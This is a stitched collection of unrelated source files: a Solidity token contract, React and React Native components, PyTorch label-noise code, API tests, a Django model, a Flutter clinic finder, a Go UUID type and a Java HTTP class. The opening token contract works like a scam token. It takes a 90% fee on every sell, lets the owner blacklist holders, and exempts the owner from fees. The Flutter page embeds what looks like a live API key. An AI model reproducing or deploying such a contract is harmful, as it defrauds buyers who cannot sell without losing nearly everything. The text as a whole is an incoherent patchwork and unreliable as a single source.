uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); } interface ISwapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "!owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract AbsToken is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public fundSell = address(0); address public fundBuy = address(0); address public fundBurn = address(0); address public fundDapp = address(0); string private _name = "VYHCG"; string private _symbol = "VYHCG"; uint8 private _decimals = 18; mapping(address => bool) public _feeWhiteList; mapping(address => bool) public _blackList; uint256 private _tTotal = 1000000 * 10**_decimals; ISwapRouter public _swapRouter; address public _usdt = address(0x55d398326f99059fF775485246999027B3197955); address public _routeAddress = address(0x10ED43C718714eb63d5aA57B78B54704E256024E); mapping(address => bool) public _swapPairList; uint256 private constant MAX = ~uint256(0); uint256 public _buyFundFee = 0; uint256 public _sellFundFee = 9000; address public _mainPair; constructor() { ISwapRouter swapRouter = ISwapRouter(_routeAddress); IERC20(_usdt).approve(address(swapRouter), MAX); _swapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; ISwapFactory swapFactory = ISwapFactory(swapRouter.factory()); address swapPair = swapFactory.createPair(address(this), _usdt); _mainPair = swapPair; _swapPairList[swapPair] = true; _balances[msg.sender] = _tTotal; _feeWhiteList[address(this)] = true; _feeWhiteList[address(swapRouter)] = true; _feeWhiteList[msg.sender] = true; _feeWhiteList[fundBuy] = true; _feeWhiteList[fundSell] = true; _feeWhiteList[fundBurn] = true; _feeWhiteList[fundDapp] = true; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve( address owner, address spender, uint256 amount ) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(!_blackList[from] && !_blackList[to], "blackList"); uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (!_feeWhiteList[from] && !_feeWhiteList[to]) { uint256 maxSellAmount = (balance * 9999) / 10000; if (amount > maxSellAmount) { amount = maxSellAmount; } } bool takeFee; bool isSell; if (_swapPairList[from] || _swapPairList[to]) { if (!_feeWhiteList[from] && !_feeWhiteList[to]) { takeFee = true; } if (_swapPairList[to]) { isSell = true; } if (to == fundBurn){ takeFee = false; } } _tokenTransfer(from, to, amount, takeFee, isSell); } function _tokenTransfer( address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 swapFee = isSell ? _sellFundFee : _buyFundFee; uint256 swapAmount = (tAmount * swapFee) / 10000; if (swapAmount > 0) { feeAmount += swapAmount; _takeTransfer(sender, isSell ? fundSell : fundBuy, swapAmount); } } _takeTransfer(sender, recipient, tAmount - feeAmount); if(recipient==fundBurn){ _tTotal -= tAmount; } } function _takeTransfer( address sender, address to, uint256 tAmount ) private { _balances[to] = _balances[to] + tAmount; emit Transfer(sender, to, tAmount); } function excludeMultiFromFee(address[] calldata accounts, bool excludeFee) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _feeWhiteList[accounts[i]] = excludeFee; } } function _multiSetSniper(address[] calldata accounts, bool isSniper) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _blackList[accounts[i]] = isSniper; } } receive() external payable {} } contract Token is AbsToken { constructor() AbsToken() {} }
import React, { ReactNode, ReactElement } from "react"; export const WideButtonImage: React.FC<{ src: string, alt?: string, className?: string }> = ({ src, alt, className }) => { return ( <div className="w-16 aspect-square flex items-center justify-center rounded-md"> <img src={src} alt={alt} className={`w-full h-full object-cover rounded-md ${className}`} /> </div> ) }; export const WideButtonTitle: React.FC<{ children: ReactNode, className?: string }> = ({ children, className }) => { return ( <div className={`text-left text-3xl font-bold text-white ${className}`}>{children}</div> ); }; export const WideButtonDescription: React.FC<{ children: ReactNode, className?: string }> = ({ children, className }) => { return ( <div className={`text-left text-sm text-white ${className}`}>{children}</div> ); }; interface WideButtonProps { onClick: () => void; className?: string; highlighted?: boolean; children?: [ ReactElement<typeof WideButtonImage> | undefined, ReactElement<typeof WideButtonTitle> | undefined, ReactElement<typeof WideButtonDescription> | undefined ]; } export const WideButton: React.FC<WideButtonProps> = ({ onClick, children, className, highlighted = false }) => { const [image, title, description] = children || []; return ( <button onClick={onClick} className={` flex items-center p-4 w-full max-w-lg rounded-lg ${ highlighted && "bg-[hsl(90,42%,51%)] hover:bg-[hsl(84,55%,60%)] shadow-[0px_4px_0px_rgba(69,117,60,1)]"} ${!highlighted && "bg-[hsl(30,3%,26%)] hover:bg-[hsl(45,3%,29%)] shadow-[0px_5px_0px_rgba(0,0,0,0.25)]"} ${className} `} > {image} <div className="flex-1 ml-4"> {title} {description} </div> </button> ); }; /* USAGE: WideButtonTitle is mandatory others are optional order must be same <WideButton className="" onClick={() => {}}> <WideButtonImage className=""><img /></WideButtonImage> <WideButtonTitle className="">Title</WideButtonTitle> <WideButtonDescription className="">Description</WideButtonDescription> </WideButton> */
import torch import random # other ref.: https://github.com/hitcszx/ALFs/blob/master/dataset.py def sym_label_nosie(noise_rate, labels, num_classes): """ https://github.com/filipe-research/tutorial_noisylabels/blob/main/codes/tutorial_sibgrapi20.ipynb """ noise_label = [] idx = list(range(len(labels))) random.shuffle(idx) num_noise = int(noise_rate * len(labels)) noise_idx = idx[:num_noise] for i in range(len(labels)): if i in noise_idx: # Return a random integer N such that a <= N <= b. noiselabel = random.randint(0, num_classes-1) noise_label.append(noiselabel) else: noise_label.append(labels[i]) return torch.tensor(noise_label) def asym_label_nosie(noise_rate, labels, transition): """ https://github.com/filipe-research/tutorial_noisylabels/blob/main/codes/tutorial_sibgrapi20.ipynb # class transition for asymmetric noise, e.g. for MNIST dataset below transition = {0: 0, 2: 0, 4: 7, 7: 7, 1: 1, 9: 1, 3: 5, 5: 3, 6: 6, 8: 8} For bearing faults: normal<->roller, outer<-inner, outer->normal """ noise_label = [] idx = list(range(len(labels))) random.shuffle(idx) num_noise = int(noise_rate * len(labels)) noise_idx = idx[:num_noise] for i in range(len(labels)): if i in noise_idx: noiselabel = transition[labels[i]] noise_label.append(noiselabel) else: noise_label.append(labels[i]) return torch.tensor(noise_label) def generate_noise(noise_rate, labels, num_classes, transition=None, noise_mode='sym'): """ https://github.com/filipe-research/tutorial_noisylabels/blob/main/codes/tutorial_sibgrapi20.ipynb # class transition for asymmetric noise transition = {0: 0, 2: 0, 4: 7, 7: 7, 1: 1, 9: 1, 3: 5, 5: 3, 6: 6, 8: 8} """ noise_label = [] idx = list(range(len(labels))) random.shuffle(idx) num_noise = int(noise_rate*len(labels)) noise_idx = idx[:num_noise] for i in range(len(labels)): if i in noise_idx: if noise_mode=='sym': # Return a random integer N such that a <= N <= b. noiselabel = random.randint(0, num_classes) noise_label.append(noiselabel) elif noise_mode=='asym' and transition is not None: noiselabel = transition[labels[i]] noise_label.append(noiselabel) else: noise_label.append(labels[i]) return torch.tensor(noise_label)
import { MaterialCommunityIcons } from '@expo/vector-icons'; import React, { useState } from 'react' import { Image, Linking } from 'react-native'; import { TouchableOpacity } from 'react-native'; import { Modal, StyleSheet, View as DefaultView } from 'react-native' import { useDispatch, useSelector } from 'react-redux'; import { getPicture } from '../client/RequestHelpers'; import { useLocale } from '../hooks/useLocale'; import { RootState } from '../redux'; import { SelectCountry, UpdateSettingsModalShown } from '../redux/actions/personalizeActions'; import { LoadWords } from '../redux/actions/wordsActions'; import { FontSize } from '../shared/constants/FontSize'; import { FontWeight } from '../shared/constants/FontWeight'; import GlobalStyles from '../shared/constants/GlobalStyles'; import Locale from '../shared/locales/Locale'; import { LocaleType } from '../shared/types/ui'; import { ChangeLocale } from '../shared/types/utils/Helpers'; import Button from './Form/Button'; import { SelectInput } from './Form/SelectInput'; import { Text, useThemeColor, View } from './Themed'; // const whatsappNo = "+96277000000"; const email = "barl.kasir@gmail.com"; const SettingsModal = () => { const countryId = useSelector((state: RootState) => state.personalize.data.countryId) const currentLocale = useSelector((state: RootState) => state.personalize.data.locale) const [selectedCountry, setSelectedCountry] = useState(countryId); const dispatch = useDispatch(); const { settingModalShown, settingModalCancelable } = useSelector((state: RootState) => state.personalize.data) const languages = useSelector((state: RootState) => state.languages.data) const countries = useSelector((state: RootState) => state.countries.data) const hideModal = () => { settingModalCancelable && dispatch(UpdateSettingsModalShown(false)); } const saveCountry = (countryId: number) => { dispatch(SelectCountry(countryId, () => { dispatch(LoadWords()) setSelectedCountry(countryId) })) } const highlightedButton = useThemeColor("tabIconDefault"); // const goToWhatsapp = () => { // hideModal(); // Linking.openURL(`whatsapp://send?phone=${whatsappNo}&text=hello`); // } const sendEmail = () => { hideModal(); Linking.openURL(`mailto:${email}`) } const styles = StyleSheet.create({ modalContainer: { backgroundColor: useThemeColor("baseColor") }, separator: { marginVertical: 15, height: 1, width: '80%', alignSelf: 'center' }, }) return ( <Modal transparent visible={settingModalShown} onRequestClose={hideModal} > <DefaultView style={{ flex: 1, justifyContent: settingModalCancelable ? 'center' : undefined, }}> <DefaultView style={[ styles.modalContainer, GlobalStyles.Shadow5, { flex: settingModalCancelable ? undefined : 1, margin: settingModalCancelable ? 20 : 0, paddingVertical: 20, justifyContent: 'center', borderRadius: settingModalCancelable ? 10 : 0, }]}> {settingModalCancelable && <DefaultView style={{ paddingHorizontal: '5%', alignItems: 'flex-end', marginTop: -10 }}> <TouchableOpacity onPress={hideModal}> <MaterialCommunityIcons name="close" size={FontSize.xxLarge} /> </TouchableOpacity> </DefaultView>} <DefaultView style={{ paddingHorizontal: '5%' }}> <Text>{useLocale("settings.language")}</Text> </DefaultView> <DefaultView style={{ flexDirection: 'row', flexWrap: 'wrap' }}> {languages.map(lang => ( <TouchableOpacity disabled={lang.name == currentLocale} activeOpacity={0.8} style={{ width: "40%", marginHorizontal: "5%", marginVertical: 5 }} key={lang.name} onPress={async () => ChangeLocale(lang.name as LocaleType)}> <View style={[ GlobalStyles.Shadow5, { flexDirection: 'row', alignItems: 'center', padding: 5, paddingHorizontal: 10, borderRadius: 10 }, lang.name == currentLocale && { backgroundColor: highlightedButton } ]}> <Image resizeMode="contain" style={{ width: 50, height: 50 }} source={{ uri: getPicture(lang.imagePath ?? "") }} /> <DefaultView style={{ width: 10 }} /> <Text > {Locale[lang.name as LocaleType]["switch.language"]} </Text> </View> </TouchableOpacity> ))} </DefaultView> <DefaultView style={{ paddingHorizontal: '5%' }}> <Text>{useLocale("settings.country")}</Text> </DefaultView> <DefaultView style={{ paddingHorizontal: '5%' }}> <SelectInput placeHolder={useLocale("settings.country")} items={countries.map(country => ({ label: country.name ?? '', value: country.id, }))} selectedValue={selectedCountry} onSelectedChanged={saveCountry} /> </DefaultView> <View style={styles.separator} lightColor="#bbb" darkColor="rgba(255,255,255,0.1)" /> <Text style={{ textAlign: 'center', fontWeight: FontWeight.bold }}>{useLocale("settings.contactUs")}</Text> <DefaultView style={{ width: "80%", flexDirection: 'row', justifyContent: 'space-around', alignSelf: 'center', marginVertical: 20, }}> {/* <TouchableOpacity onPress={goToWhatsapp}> <MaterialCommunityIcons name="whatsapp" style={{ fontSize: 40, color: useThemeColor("brandColor") }} /> </TouchableOpacity> */} <TouchableOpacity onPress={sendEmail}> <MaterialCommunityIcons name="email" style={{ fontSize: 40, color: useThemeColor("brandColor") }} /> </TouchableOpacity> </DefaultView> </DefaultView> </DefaultView> </Modal> ) } export default SettingsModal
import express from 'express' import mongoose from 'mongoose' import supertest from 'supertest' import { Profile } from '../../src/db/models/profiles' import createServer from '../../src/__tests__/create-server' import getToken from '../../src/__tests__/get-oauth-token' import { adminOauth, userOauth } from './seed/seed' import config from '../../config' let JWT: string let userJWT: string let app: express.Application beforeAll(async () => { app = await createServer(config) await mongoose.connect(config.mongo.url, config.mongo.options) JWT = await getToken(adminOauth) userJWT = await getToken(userOauth) }, 20000) afterAll(() => mongoose.disconnect()) beforeEach(async () => { const collections = await mongoose.connection.db.collections() for (const collection of collections) { await collection.deleteMany({}) } }) describe('profiles', () => { test('GET api/profiles', () => { return supertest(app) .get('/api/profiles/') .set('Authorization', `Bearer ${JWT}`) .expect(200) .then((res) => res.body.data) .then((profiles: Profile[]) => expect(profiles).toHaveLength(1)) }) test('First request creates a profile', async () => { await supertest(app).get('/api/projects').set('Authorization', `Bearer ${userJWT}`).expect(200) const profiles: Profile[] = await supertest(app) .get('/api/profiles/') .set('Authorization', `Bearer ${JWT}`) .expect(200) .then((res) => res.body.data) expect(profiles).toHaveLength(2) const profile = profiles.find((p) => p.role === 'user') expect(profile).toBeTruthy() }) test('PUT api/profiles/:id', async () => { // request to create a second non admin profile await supertest(app).get('/api/projects').set('Authorization', `Bearer ${userJWT}`).expect(200) const profiles: Profile[] = await supertest(app) .get('/api/profiles/') .set('Authorization', `Bearer ${JWT}`) .expect(200) .then((res) => res.body.data) const userProfile = profiles.find((profile) => profile.role === 'user') return supertest(app) .put(`/api/profiles/${userProfile ? userProfile._id : ''}?role=dataScientist`) .set('Authorization', `Bearer ${JWT}`) .expect(200) .then((res) => res.body) .then((profile) => expect(profile.role).toBe('dataScientist')) }) })
from django.db import models # Create your models here. class User(models.Model): user_no = models.IntegerField(default=0) # Field to store the user number image_encoding = models.BinaryField(null=True,blank=True) image = models.ImageField(upload_to='user_images/',null=True,blank=True) def save(self, *args, **kwargs): if not self.id: # Check if the user is being created for the first time last_user = User.objects.order_by('-user_no').first() if last_user: self.user_no = last_user.user_no + 1 else: self.user_no = 1 super().save(*args, **kwargs) def __str__(self): return f"user{self.user_no}"
import 'package:cloud_firestore/cloud_firestore.dart'; import 'package:url_launcher/url_launcher.dart'; import 'models/location_model.dart'; import 'package:flutter/material.dart'; import 'dart:convert'; import 'package:http/http.dart' as http; class FindSupportPage extends StatefulWidget { @override FindSupportPageState createState() => FindSupportPageState(); } Future<List<Location>> fetchLocations() async { FirebaseFirestore firestore = FirebaseFirestore.instance; List<Location> locations = []; try { QuerySnapshot snapshot = await firestore.collection('locations').get(); for (var doc in snapshot.docs) { Location location = Location.fromFirestore(doc.data() as Map<String, dynamic>); locations.add(location); } return locations; } catch (e) { rethrow; } } class FindSupportPageState extends State<FindSupportPage> { final TextEditingController _controller = TextEditingController(); List<Location> _sortedLocations = []; int? _selectedIndex; final postcodeRegExp = RegExp( //user input sanitisation r'^(([A-Z]{1,2}\d{0,2})|([A-Z]{1,2}\d{0,2}[A-Z]?)|([A-Z]{1,2}\d{0,2}[A-Z]?\s?\d{0,1}[A-Z]{0,2}))$', caseSensitive: false, ); void showSuccessMessage() { //user feedback for UX const snackBar = SnackBar( content: Text('Success! Press a Clinic name for Directions'), duration: Duration(seconds: 4), backgroundColor: Colors.green, ); ScaffoldMessenger.of(context).showSnackBar(snackBar); } void noLocationsFoundMessage() { const snackBar = SnackBar( content: Text('No Locations Found'), duration: Duration(seconds: 3), backgroundColor: Colors.red, ); ScaffoldMessenger.of(context).showSnackBar(snackBar); } void showEmptyTextFieldMessage() { const snackBar = SnackBar( content: Text('Enter a Valid Postcode'), duration: Duration(seconds: 3), backgroundColor: Colors.orange, ); ScaffoldMessenger.of(context).showSnackBar(snackBar); } String _helperText = ''; @override Widget build(BuildContext context) { return Scaffold( resizeToAvoidBottomInset: true, appBar: PreferredSize( preferredSize: const Size.fromHeight(kToolbarHeight), child: Container( decoration: const BoxDecoration( gradient: LinearGradient( begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [ Color.fromARGB(255, 11, 83, 81), //find support page title container color Color.fromARGB(255, 0, 169, 165), ], ), ), child: AppBar( backgroundColor: Colors.transparent, elevation: 0, title: const Text( "Find Support Page", style: TextStyle( fontSize: 30, fontWeight: FontWeight.bold, color: Colors.white, ), ), centerTitle: true, ), ), ), body: SingleChildScrollView( child: Container( decoration: const BoxDecoration( gradient: LinearGradient( begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [ Color.fromARGB( 255, 0, 169, 165), //background color of the whole page Colors.white, ], ), ), child: Column(children: [ Padding( padding: const EdgeInsets.all(16.0), child: Column( mainAxisAlignment: MainAxisAlignment.center, crossAxisAlignment: CrossAxisAlignment.stretch, children: <Widget>[ const Text( "We're here to Support you in All Ways Possible. We can Locate the nearest Clinic to you for an In Person Assessment. Start by entering your Postcode.", style: TextStyle( fontSize: 15, color: Colors.white, fontStyle: FontStyle.italic, ), ), const SizedBox(height: 10), TextField( controller: _controller, keyboardType: TextInputType.text, decoration: InputDecoration( labelText: "Enter Your Postcode", labelStyle: const TextStyle( color: Colors.white, ), border: const OutlineInputBorder( borderSide: BorderSide(color: Colors.black, width: 2.0), ), focusedBorder: const OutlineInputBorder( borderSide: BorderSide(color: Colors.black, width: 2.0), ), enabledBorder: const OutlineInputBorder( borderSide: BorderSide(color: Colors.black, width: 2.0), ), helperText: _helperText, helperStyle: const TextStyle( color: Colors.red, fontSize: 12, fontWeight: FontWeight.bold, ), ), onChanged: (value) { setState(() { if (value.isNotEmpty && RegExp(r'^\d').hasMatch(value)) { _helperText = //helper text as snackbar for every instance of feedback = overwhelming UI = bad UX 'Postcode Cannot Start with a Number'; } else if (!postcodeRegExp.hasMatch(value) && value.isNotEmpty) { _helperText = 'Invalid Format! Must be AA12 3AA or AA123AA'; } else { _helperText = ''; } }); }), const SizedBox(height: 5), ElevatedButton( onPressed: _searchLocations, style: ButtonStyle( backgroundColor: MaterialStateProperty.all<Color>( const Color.fromARGB( 255, 11, 83, 81)), //search btn color foregroundColor: MaterialStateProperty.resolveWith<Color>( (Set<MaterialState> states) { if (states.contains(MaterialState.pressed)) { return const Color(0xff3C5C6C); } //color of text on btn press else { return Colors.white; } //default color of text in btn })), child: const Text( "Search", style: TextStyle(fontSize: 15), ), ), const SizedBox(height: 20), //padding below the search btn Container( constraints: const BoxConstraints(minHeight: 200), decoration: BoxDecoration( color: Colors.grey[300], border: Border.all(color: Colors.black)), child: _sortedLocations.isEmpty ? const Center( child: Text( 'Your nearest clinics will be displayed here', style: TextStyle(color: Colors.black), ), ) : ListView.builder( shrinkWrap: true, physics: const NeverScrollableScrollPhysics(), itemCount: _sortedLocations.length, itemBuilder: (context, index) { final location = _sortedLocations[index]; return GestureDetector( onTap: () { setState(() { _selectedIndex = index; _launchMapsUrl(location.latitude, location.longitude); }); Future.delayed( const Duration(milliseconds: 500), () { setState(() { _selectedIndex = null; }); }); }, child: AnimatedContainer( duration: const Duration(milliseconds: 200), color: _selectedIndex == index ? Colors.grey[300] : Colors.transparent, child: ListTile( title: Text(location.name, textAlign: TextAlign.center, style: const TextStyle( fontWeight: FontWeight.bold, )), subtitle: Text( "Distance: ${location.distance.toStringAsFixed(2)} miles", textAlign: TextAlign.center, style: const TextStyle( fontStyle: FontStyle.italic, ), ), ), ), ); }, )), const Divider( height: 20, thickness: 4, color: Color.fromARGB(255, 11, 83, 81)), Container( //contact us container padding: const EdgeInsets.all(10), decoration: const BoxDecoration( gradient: LinearGradient( begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [ Color.fromARGB(255, 11, 83, 81), Color.fromARGB(255, 0, 169, 165) ])), child: const Column( crossAxisAlignment: CrossAxisAlignment.start, children: [ Text('Contact Us', style: TextStyle( fontSize: 20, fontWeight: FontWeight.bold, color: Colors.white, )), SizedBox(height: 10), Text( 'Email: contact@example.com', style: TextStyle( fontSize: 16, color: Colors.white, ), ), Text( 'Phone: +123 456 789', style: TextStyle( fontSize: 16, color: Colors.white, ), ), ], ), ) ]), ) ]), ))); } void _searchLocations() async { final String postcode = _controller.text.trim(); if (postcode.isEmpty) { showEmptyTextFieldMessage(); return; } try { final userCoords = await geocodePostcode( postcode, 'AIzaSyD7_jakGIgJ7hGIq-OTiHpXoK_QYcb0m_I'); final List<Location> locations = await fetchLocations(); double? latitude = userCoords['latitude']; double? longitude = userCoords['longitude']; if (latitude == null || longitude == null) { return; } for (var location in locations) { location.distance = Location.calculateDistance( latitude, longitude, location.latitude, location.longitude, ); } locations.sort((a, b) => a.distance.compareTo(b.distance)); setState(() { _sortedLocations = locations; }); if (locations.isNotEmpty) { showSuccessMessage(); } else { noLocationsFoundMessage(); return; } } catch (e) { // } } Future<Map<String, double>> geocodePostcode( String postcode, String apiKey) async { final url = Uri.parse( 'https://maps.googleapis.com/maps/api/geocode/json?address=${Uri.encodeComponent(postcode)}&key=$apiKey'); try { final http.Response response = await http.get(url); if (response.statusCode == 200) { final Map<String, dynamic> data = json.decode(response.body); if (data['status'] == 'OK') { final location = data['results'][0]['geometry']['location']; return { 'latitude': location['lat'], 'longitude': location['lng'], }; } else { throw Exception('Geocoding failed with status: ${data['status']}'); } } else { throw Exception( 'Failed to load data from geocoding API. Status code: ${response.statusCode}'); } } catch (e) { throw Exception('Exception caught while geocoding: $e'); } } Future<void> _launchMapsUrl(double lat, double lng) async { final Uri url = Uri.parse( 'https://www.google.com/maps/dir/?api=1&destination=$lat,$lng'); //user directed to google maps app(if installed/set as default maps app) or uses device browser if (await canLaunchUrl(url)) { await launchUrl(url); } else { throw 'Could not launch $url'; } } }
/* eslint @typescript-eslint/ban-ts-comment: "off", no-global-assign: "off" */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import returnFetchJson from "../src"; describe("returnFetch", () => { const globalFetch = fetch; let fetchMocked: ReturnType<typeof vi.fn>; beforeEach(() => { fetchMocked = vi.fn(); // @ts-ignore fetch = fetchMocked; }); afterEach(() => { // @ts-ignore fetch = globalFetch; }); it("should serialize request body and deserialize response body", async () => { // given const responseBody = { id: 1 }; const response = new Response(JSON.stringify(responseBody), { status: 200, statusText: "OK", headers: new Headers({ "Content-Type": "application/json", }), }); fetchMocked.mockResolvedValue(response); const fetchExtended = returnFetchJson({ baseUrl: "https://base-url.com", // no request headers }); // when const requestBody = { title: "delectus aut autem", completed: false }; const actual = await fetchExtended<{ id: number }>("/post", { method: "POST", body: requestBody, }); // then expect(actual.body).toEqual(responseBody); expect(actual.headers.get("Content-Type")).toBe("application/json"); expect(actual.ok).toBe(true); expect(actual.redirected).toBe(false); expect(actual.status).toBe(200); expect(actual.statusText).toBe("OK"); expect(actual.type).toBe("default"); expect(actual.url).toBe(""); expect(fetchMocked.mock.calls[0][0]).toEqual( new URL("https://base-url.com/post"), ); expect(fetchMocked.mock.calls[0][1].body).toBe(JSON.stringify(requestBody)); expect(fetchMocked.mock.calls[0][1].headers).toBeInstanceOf(Headers); // Content-Type and Accept are set by default when not provided expect(fetchMocked.mock.calls[0][1].headers.get("Content-Type")).toBe( "application/json", ); expect(fetchMocked.mock.calls[0][1].headers.get("Accept")).toBe( "application/json", ); }); it("should override Content-Type and Accept header when provided", async () => { // given const responseBody = { id: 1 }; const response = new Response(JSON.stringify(responseBody), { status: 200, statusText: "OK", headers: new Headers({ "Content-Type": "application/json; charset=utf-8", }), }); fetchMocked.mockResolvedValue(response); const fetchExtended = returnFetchJson({ baseUrl: "https://base-url.com", }); // when const requestBody = { title: "delectus aut autem", completed: false }; const actual = await fetchExtended<{ id: number }>("/post", { method: "POST", body: requestBody, headers: { "Content-Type": "application/json; charset=utf-8", Accept: "application/json; charset=utf-8", }, }); // then expect(fetchMocked.mock.calls[0][1].headers).toBeInstanceOf(Headers); // Content-Type and Accept are set by default when not provided expect(fetchMocked.mock.calls[0][1].headers.get("Content-Type")).toBe( "application/json; charset=utf-8", ); expect(fetchMocked.mock.calls[0][1].headers.get("Accept")).toBe( "application/json; charset=utf-8", ); }); it("should return trimmed string body when respones body is not valid json", async () => { // given const responseBody = "\t\n an invalid json string\t\n "; const response = new Response(responseBody, { status: 200, statusText: "OK", headers: new Headers({ "Content-Type": "application/text", }), }); fetchMocked.mockResolvedValue(response); const fetchExtended = returnFetchJson({ baseUrl: "https://base-url.com", // no request headers }); // when const requestBody = { title: "delectus aut autem", completed: false }; const actual = await fetchExtended<"a type not a json object">("/post", { method: "POST", body: requestBody, }); // then expect(actual.body).toEqual("an invalid json string"); // type test const typeTestValidType: string = actual.body; // @ts-expect-error const typeTestInvalidType: object = actual.body; }); it("should throw error when JSON.parse throws an error which is not a SyntaxError", async () => { // given const response = new Response(JSON.stringify({ id: 1 }), { status: 200, statusText: "OK", headers: new Headers({ "Content-Type": "application/text", }), }); fetchMocked.mockResolvedValue(response); const fetchExtended = returnFetchJson({ jsonParser: vi.fn().mockImplementation(() => { throw Error("not a syntax error"); }), baseUrl: "https://base-url.com", }); // when, then await expect( fetchExtended<"a type not a json object">("/post", { method: "POST", body: { title: "delectus aut autem", completed: false }, }), ).rejects.toThrow("not a syntax error"); }); });
package types import ( "database/sql/driver" "github.com/google/uuid" ) // SqlUuid -> type to use as binary uuid in BBDD type SqlUuid uuid.UUID // StringToSqlUuid -> parse string to MYTYPE func StringToSqlUuid(s string) (SqlUuid, error) { id, err := uuid.Parse(s) return SqlUuid(id), err } // New -> Creates a new SqlUuid func (my *SqlUuid) New() { u := uuid.New() *my = SqlUuid(u) } // String -> String Representation of Binary16 func (my SqlUuid) String() string { return uuid.UUID(my).String() } // GormDataType -> sets type to binary(16) func (my SqlUuid) GormDataType() string { return "binary(16)" } func (my SqlUuid) MarshalJSON() ([]byte, error) { s := uuid.UUID(my) str := "\"" + s.String() + "\"" return []byte(str), nil } func (my *SqlUuid) UnmarshalJSON(by []byte) error { s, err := uuid.ParseBytes(by) *my = SqlUuid(s) return err } // Scan --> tells GORM how to receive from the database func (my *SqlUuid) Scan(value interface{}) error { bytes, _ := value.([]byte) parseByte, err := uuid.FromBytes(bytes) *my = SqlUuid(parseByte) return err } // Value -> tells GORM how to save into the database func (my SqlUuid) Value() (driver.Value, error) { return uuid.UUID(my).MarshalBinary() }
/* * Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. * See the NOTICE file distributed with this work for additional information regarding copyright ownership. * The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is * distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and limitations under the License. * * * This software consists of voluntary contributions made by many individuals on behalf of the * Apache Software Foundation. For more information on the Apache Software Foundation, please see * <http://www.apache.org/>. * * +-------------------------------------------------------------------------------------------------------+ * | License: http://www.apache.org/licenses/LICENSE-2.0.txt | * | Author: Yong.Teng <webmaster@buession.com> | * | Copyright @ 2013-2021 Buession.com Inc. | * +-------------------------------------------------------------------------------------------------------+ */ package com.buession.httpclient.core; import java.nio.charset.Charset; /** * 请求体抽象类 * * @param <V> * 请求体类型 * * @author Yong.Teng */ public abstract class AbstractRequestBody<V> implements RequestBody<V> { /** * 请求体 Content-Type */ private ContentType contentType; /** * 请求体 */ private V content; /** * 请求体大小 */ private long contentLength; /** * 构造函数 */ public AbstractRequestBody(){ this.contentLength = -1; } /** * 构造函数 * * @param contentType * 请求体 Content-Type * @param content * 请求体 */ public AbstractRequestBody(ContentType contentType, V content){ this(); this.contentType = contentType; this.content = content; } /** * 构造函数 * * @param contentType * 请求体 Content-Type * @param content * 请求体 * @param contentLength * 请求体大小 */ public AbstractRequestBody(ContentType contentType, V content, long contentLength){ this(contentType, content); this.contentLength = contentLength; } /** * 构造函数,ContentType 为 text/plain * * @param content * 请求体 * @param charset * 请求体编码 */ public AbstractRequestBody(V content, Charset charset){ this(new ContentType(ContentType.TEXT_PLAIN.getMimeType(), charset), content); } /** * 构造函数,ContentType 为 text/plain * * @param content * 请求体 * @param contentLength * 请求体大小 * @param charset * 请求体编码 */ public AbstractRequestBody(V content, long contentLength, Charset charset){ this(new ContentType(ContentType.TEXT_PLAIN.getMimeType(), charset), content, contentLength); } @Override public ContentType getContentType(){ return contentType; } public void setContentType(ContentType contentType){ this.contentType = contentType; } @Override public V getContent(){ return content; } public void setContent(final V content){ this.content = content; } @Override public long getContentLength(){ return contentLength; } public void setContentLength(final long contentLength){ this.contentLength = contentLength; } }
